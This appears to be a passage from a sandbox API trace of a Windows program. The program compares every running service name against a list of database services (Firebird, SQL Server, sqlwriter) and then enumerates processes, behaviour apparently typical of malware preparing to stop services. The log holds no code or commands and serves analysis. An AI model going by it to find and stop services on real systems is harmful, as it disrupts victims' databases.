	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0174.999] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0174.999] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0174.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0174.999] lstrlenW (lpString="CryptSvc") returned 8
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0175.000] lstrlenW (lpString="DcomLaunch") returned 10
	[0175.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0175.000] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0175.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0175.000] lstrlenW (lpString="Dhcp") returned 4
	[0175.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0175.000] lstrlenW (lpString="Dnscache") returned 8
	[0175.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0175.000] lstrlenW (lpString="DPS") returned 3
	[0175.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0175.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0175.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0175.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0175.001] lstrlenW (lpString="DusmSvc") returned 7
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0175.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0175.001] lstrlenW (lpString="EventLog") returned 8
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0175.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0175.001] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0175.001] lstrlenW (lpString="EventSystem") returned 11
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0175.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0175.001] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0175.001] lstrlenW (lpString="FontCache") returned 9
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0175.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0175.001] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0175.001] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0175.001] lstrlenW (lpString="gpsvc") returned 5
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0175.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0175.001] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0175.001] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0175.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0175.001] lstrlenW (lpString="iphlpsvc") returned 8
	[0175.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0175.002] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0175.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0175.002] lstrlenW (lpString="KeyIso") returned 6
	[0175.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0175.002] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0175.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0175.002] lstrlenW (lpString="LanmanServer") returned 12
	[0175.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0175.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0175.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0175.002] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0175.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0175.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0175.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0175.002] lstrlenW (lpString="lfsvc") returned 5
	[0175.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0175.002] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0175.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0175.002] lstrlenW (lpString="lmhosts") returned 7
	[0175.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0175.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0175.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0175.003] lstrlenW (lpString="LSM") returned 3
	[0175.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0175.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0175.003] lstrlenW (lpString="MpsSvc") returned 6
	[0175.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0175.003] lstrlenW (lpString="NcbService") returned 10
	[0175.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0175.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0175.003] lstrlenW (lpString="netprofm") returned 8
	[0175.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0175.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0175.003] lstrlenW (lpString="NgcSvc") returned 6
	[0175.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0175.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0175.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0175.003] lstrlenW (lpString="NlaSvc") returned 6
	[0175.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0175.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0175.004] lstrlenW (lpString="nsi") returned 3
	[0175.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0175.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0175.004] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0175.004] lstrlenW (lpString="PcaSvc") returned 6
	[0175.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0175.004] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0175.004] lstrlenW (lpString="PlugPlay") returned 8
	[0175.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0175.004] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0175.004] lstrlenW (lpString="Power") returned 5
	[0175.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0175.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0175.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0175.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0175.005] lstrlenW (lpString="ProfSvc") returned 7
	[0175.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0175.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0175.005] lstrlenW (lpString="RpcEptMapper") returned 12
	[0175.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0175.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0175.005] lstrlenW (lpString="RpcSs") returned 5
	[0175.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0175.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0175.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0175.005] lstrlenW (lpString="SamSs") returned 5
	[0175.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0175.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0175.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0175.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0175.005] lstrlenW (lpString="Schedule") returned 8
	[0175.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0175.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0175.006] lstrlenW (lpString="SecurityHealthService") returned 21
	[0175.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0175.006] lstrlenW (lpString="SENS") returned 4
	[0175.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0175.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0175.006] lstrlenW (lpString="ShellHWDetection") returned 16
	[0175.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0175.006] lstrlenW (lpString="Spooler") returned 7
	[0175.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0175.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0175.006] lstrlenW (lpString="StateRepository") returned 15
	[0175.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0175.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0175.006] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0175.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0175.007] lstrlenW (lpString="SysMain") returned 7
	[0175.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0175.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0175.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0175.007] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0175.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0175.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0175.007] lstrlenW (lpString="Themes") returned 6
	[0175.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0175.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0175.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0175.007] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0175.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.007] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0175.007] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0175.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0175.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528
	[0175.011] Process32FirstW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0175.012] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0175.012] lstrlenW (lpString="System") returned 6
	[0175.012] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0175.013] lstrlenW (lpString="smss.exe") returned 8
	[0175.013] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.013] lstrlenW (lpString="csrss.exe") returned 9
	[0175.013] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0175.014] lstrlenW (lpString="wininit.exe") returned 11
	[0175.014] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.014] lstrlenW (lpString="csrss.exe") returned 9
	[0175.014] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0175.015] lstrlenW (lpString="winlogon.exe") returned 12
	[0175.015] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0175.016] lstrlenW (lpString="services.exe") returned 12
	[0175.016] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0175.016] lstrlenW (lpString="lsass.exe") returned 9
	[0175.016] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.017] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.017] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.017] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.017] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.018] lstrlenW (lpString="svchost.exe") returned 11
	[0175.018] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.018] lstrlenW (lpString="svchost.exe") returned 11
	[0175.018] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0175.019] lstrlenW (lpString="dwm.exe") returned 7
	[0175.019] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
